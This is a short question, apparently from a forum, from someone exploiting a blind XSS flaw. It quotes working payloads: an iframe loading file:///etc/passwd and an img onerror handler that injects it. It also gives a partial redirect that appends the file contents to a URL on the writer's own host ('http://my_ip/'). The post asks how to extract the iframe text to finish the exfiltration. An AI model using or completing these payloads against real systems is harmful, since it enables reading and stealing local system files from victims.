When I do one of these payloads, I can see /etc/passwd
:
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
However this I got blind XSS, so I need to send the iframe text back to me, so I need to grub the iframe text and do something like <script>document.location.href = 'http://my_ip/' + iframe_text
How can I get the iframe text?